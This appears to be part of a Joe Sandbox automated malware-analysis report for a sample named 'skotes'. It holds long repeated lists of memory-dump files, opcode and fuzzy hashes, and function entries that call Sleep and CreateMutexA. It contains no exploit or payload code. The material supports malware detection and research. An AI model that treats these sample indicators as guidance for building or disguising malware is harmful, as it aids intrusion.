Associated: 00000002.00000002.2183770268.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183791695.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183805801.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183818899.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183833396.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183846914.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183859103.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183873159.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183884988.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183884988.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183921886.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183940513.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183959130.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183973738.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183986076.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2184002179.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2184014073.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2184027530.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2184061928.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: ecdfcaad572956bde13c43aafb291967de37e22e8b45ca271aca11835d189189
Instruction ID: c2648cfbf6c26f2f56c3b61fe4becbc1e85830e70d7d3e7cb99e10b42dbe7fb8
Opcode Fuzzy Hash: ecdfcaad572956bde13c43aafb291967de37e22e8b45ca271aca11835d189189
Instruction Fuzzy Hash: 61E08C30140608AECE267F58DC6DE8D3B29EF11741F544804FC184A262CB35EEA2D680

Function 00BD9BA5 Relevance: 3.1, APIs: 2, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00BDA963
CreateMutexA.KERNELBASE(00000000,00000000,00C33254), ref: 00BDA981

Memory Dump Source

Source File: 00000002.00000002.2183253576.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000002.00000002.2183241564.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183253576.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183298522.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183323287.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183337101.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183349265.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183362592.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183448160.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183462698.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183480656.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183493828.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183506287.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183506287.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183532091.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183543836.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183557679.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183570847.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183588010.0000000000DF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183601098.0000000000DF5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183613091.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183637557.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183655100.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183666981.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183679723.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183691415.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183704714.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183718528.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183731288.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183743704.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183757632.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183770268.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183791695.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183805801.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183818899.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183833396.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183846914.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183859103.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183873159.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183884988.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183884988.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183921886.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183940513.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183959130.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183973738.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183986076.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2184002179.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2184014073.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2184027530.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2184061928.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: f7ad0cf8115254893426026717ab035ae5e8e253e5104168ea9d04abb4d5b801
Instruction ID: 072882abcea57e0c60476f1132505c34fb797db267728303075873bb2b501730
Opcode Fuzzy Hash: f7ad0cf8115254893426026717ab035ae5e8e253e5104168ea9d04abb4d5b801
Instruction Fuzzy Hash: CC315B717142409BFB08DB78DCD979EFBE2EBC6310F24829AE014973D6E77A99808751

Function 00BD9F44 Relevance: 3.1, APIs: 2, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00BDA963
CreateMutexA.KERNELBASE(00000000,00000000,00C33254), ref: 00BDA981

Memory Dump Source

Source File: 00000002.00000002.2183253576.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000002.00000002.2183241564.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183253576.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183298522.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183323287.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183337101.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183349265.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183362592.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183448160.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183462698.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183480656.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183493828.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183506287.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183506287.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183532091.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183543836.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183557679.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183570847.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183588010.0000000000DF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183601098.0000000000DF5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183613091.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183637557.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183655100.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183666981.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183679723.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183691415.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183704714.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183718528.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183731288.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183743704.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183757632.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183770268.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183791695.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183805801.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183818899.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183833396.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183846914.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183859103.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183873159.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183884988.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183884988.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183921886.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183940513.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183959130.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183973738.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183986076.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2184002179.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2184014073.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2184027530.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2184061928.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: b9f852bd2087d64d500d3de39c1109d03acbe2e5d4cc7ecae416294349bf49ce
Instruction ID: 58141557325c90b7844617041da5924297993a1cd825c38a1af28b2c1882fa1b
Opcode Fuzzy Hash: b9f852bd2087d64d500d3de39c1109d03acbe2e5d4cc7ecae416294349bf49ce
Instruction Fuzzy Hash: 13315B717002409BFB18DB78DCD87ADF7E2EB86310F20869AE414D73D5E77A99808752

Function 00BDA079 Relevance: 3.1, APIs: 2, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00BDA963
CreateMutexA.KERNELBASE(00000000,00000000,00C33254), ref: 00BDA981

Memory Dump Source

Source File: 00000002.00000002.2183253576.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000002.00000002.2183241564.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183253576.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183298522.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183323287.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183337101.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183349265.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183362592.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183448160.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183462698.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183480656.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183493828.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183506287.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183506287.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183532091.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183543836.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183557679.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183570847.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183588010.0000000000DF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183601098.0000000000DF5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183613091.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183637557.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183655100.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183666981.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183679723.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183691415.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183704714.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183718528.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183731288.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183743704.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183757632.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183770268.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183791695.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183805801.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183818899.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183833396.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183846914.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183859103.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183873159.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183884988.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183884988.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183921886.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183940513.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183959130.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183973738.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183986076.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2184002179.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2184014073.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2184027530.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2184061928.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 8ecda06658a4d86996360fd6982093625b3939ca017ccf6fa711e8729279056a
Instruction ID: 3087c4b9d43dbaab77070d784ede209036888bdaae461e5477d2d28d2cb757fb
Opcode Fuzzy Hash: 8ecda06658a4d86996360fd6982093625b3939ca017ccf6fa711e8729279056a
Instruction Fuzzy Hash: E6314A317102409BFB08DB78DCD979DF7E2EBC6310F24829AE014A73D5E77A99808762

Function 00BDA1AE Relevance: 3.1, APIs: 2, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00BDA963
CreateMutexA.KERNELBASE(00000000,00000000,00C33254), ref: 00BDA981

Memory Dump Source

Source File: 00000002.00000002.2183253576.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000002.00000002.2183241564.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183253576.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183298522.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183323287.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183337101.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183349265.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183362592.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183448160.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183462698.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183480656.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183493828.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183506287.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183506287.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183532091.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183543836.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183557679.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183570847.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183588010.0000000000DF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183601098.0000000000DF5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183613091.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183637557.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183655100.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183666981.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183679723.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183691415.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183704714.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183718528.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183731288.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183743704.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183757632.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183770268.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183791695.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183805801.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183818899.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183833396.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183846914.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183859103.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183873159.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183884988.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183884988.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183921886.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183940513.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183959130.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183973738.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183986076.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2184002179.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2184014073.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2184027530.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2184061928.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: d8f23f7dc6c422df9c3cf65bf7bee8e6ad777ad5396903e034dd497463180b4d
Instruction ID: 56a00a7195dc4320a8588fa1dfa75527c8866bef6d92cf68dad7f37d3407674b
Opcode Fuzzy Hash: d8f23f7dc6c422df9c3cf65bf7bee8e6ad777ad5396903e034dd497463180b4d
Instruction Fuzzy Hash: 3F312A317002409FFB089B78DCD979DF7E2EBD6310F24829AE014A73D5E77A99808752

Function 00BDA418 Relevance: 3.1, APIs: 2, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00BDA963
CreateMutexA.KERNELBASE(00000000,00000000,00C33254), ref: 00BDA981

Memory Dump Source

Source File: 00000002.00000002.2183253576.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000002.00000002.2183241564.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183253576.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183298522.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183323287.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183337101.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183349265.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183362592.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183448160.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183462698.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183480656.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183493828.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183506287.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183506287.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183532091.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183543836.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183557679.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183570847.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183588010.0000000000DF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183601098.0000000000DF5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183613091.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183637557.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183655100.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183666981.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183679723.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
